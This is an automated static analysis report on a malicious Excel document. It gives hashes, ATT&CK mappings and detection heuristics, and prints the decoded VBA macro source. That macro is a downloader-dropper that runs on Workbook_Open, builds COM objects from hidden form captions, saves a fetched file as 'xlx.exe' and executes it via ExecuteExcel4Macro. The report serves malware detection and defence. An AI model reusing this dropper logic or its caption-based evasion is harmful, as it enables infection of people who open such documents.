Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4da4d6917d07d7eb…

MALICIOUS

Office (OLE)

163.1 KB Created: 2019-05-18 07:27:21 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 52867c39747a1b61a66c44c54e7b8c42 SHA-1: f0986b61f51362d457c97df76016558061d5f085 SHA-256: 4da4d6917d07d7eb9021ffb8de669720c9f51a86b9fbb5ce99ebe2afd1441cf5
310 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The VBA macros contain a Workbook_Open event that triggers the execution of a downloaded file named 'xlx.exe'. The script uses `CreateObject` and `responseBody` with `SaveToFile` to download the payload, indicating an Ingress Tool Transfer (T1105) via Visual Basic (T1059.005). The heuristic `SC_STR_CMD` suggests a suspicious `cmd.exe` invocation, potentially for executing the downloaded file, aligning with Malicious File (T1204.002). The presence of `ExecuteExcel4Macro` further supports the use of Visual Basic for execution.

Heuristics 9

  • ClamAV: Doc.Downloader.Wusub-6987353-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Wusub-6987353-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        .write ReplaceAll1.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set ReplaceAll1 = CreateObject(UserForm1.Label1.Caption)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub WorkBook_open()
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Password-protected archive handoff high SE_PASSWORD_ARCHIVE_LURE
    Document gives password instructions for an archive or attachment — often used to keep payloads encrypted until after gateway scanning
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://t2.symcb.com0 Referenced by macro
    • http://tl.symcd.com0&Referenced by macro
    • http://t1.symcb.com/ThawtePCA.crl0Referenced by macro
    • http://tl.symcb.com/tl.crl0Referenced by macro
    • https://www.thawte.com/cps0/Referenced by macro
    • https://www.thawte.com/repository0WReferenced by macro
    • http://tl.symcb.com/tl.crt0Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas🔏 SignedVBA project digital signature
Covers VBA source only — not the compiled p-code. A digital signature does not by itself mean the macro is safe.
vba-macro oletools.olevba.extract_macros (decoded VBA source) 2675 bytes
SHA-256: fc7494ca7907b62112e871cffbe47ebda4512cc5036d4df8e04019f617ab12ed
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub WorkBook_open()
UserForm2.Show



End Sub



Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{BE81ADEB-EE5E-4227-96D8-34F035A50A61}{13940811-5A45-4A3B-92A4-C8B5B6C540B0}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub Label5_Click()
Dim ReplaceAll5
ReplaceAll1.Open Me.Label3.Caption, Me.TextBox1.Tag, False
Dim ReplaceAll6
End Sub

Public Sub S1000()

End Sub
Public Sub frfr4()

End Sub

Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub Rovio()

frfr3
UserForm1.Label5_Click
ReplaceAll1.Send

With ReplaceAll2
    .Type = 1
    .Open
    .write ReplaceAll1.responseBody
End With

    ReplaceAll2.savetofile "xlx.e" & "xe", 2
ExecuteExcel4Macro Replace(UserForm1.TextBox1.Text, "33:33", time)



ExecuteExcel4Macro "MESSAGE(True, ""davichi2"")"
End Sub

Attribute VB_Name = "Module1"
Public ReplaceAll1 As Object
 Public ReplaceAll2 As Object

Public Sub frfr3()
ExecuteExcel4Macro "MESSAGE(True, ""davichi"")"

Dim time
time = Format(Now + TimeSerial(0, 1, 1), "hh:mm")


Set ReplaceAll1 = CreateObject(UserForm1.Label1.Caption)
Dim ReplaceAll3
Set ReplaceAll2 = CreateObject(UserForm1.Label2.Caption)
Dim ReplaceAll4


End Sub


Attribute VB_Name = "UserForm2"
Attribute VB_Base = "0{7AB30A30-D0F7-4BA3-A4EA-BC6C7D36E313}{AD608E69-8CF9-4AE7-B63F-2985EAF0CCA1}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub UserForm_Activate()

    Dim c As New Class1
c.Rovio
Unload Me
End Sub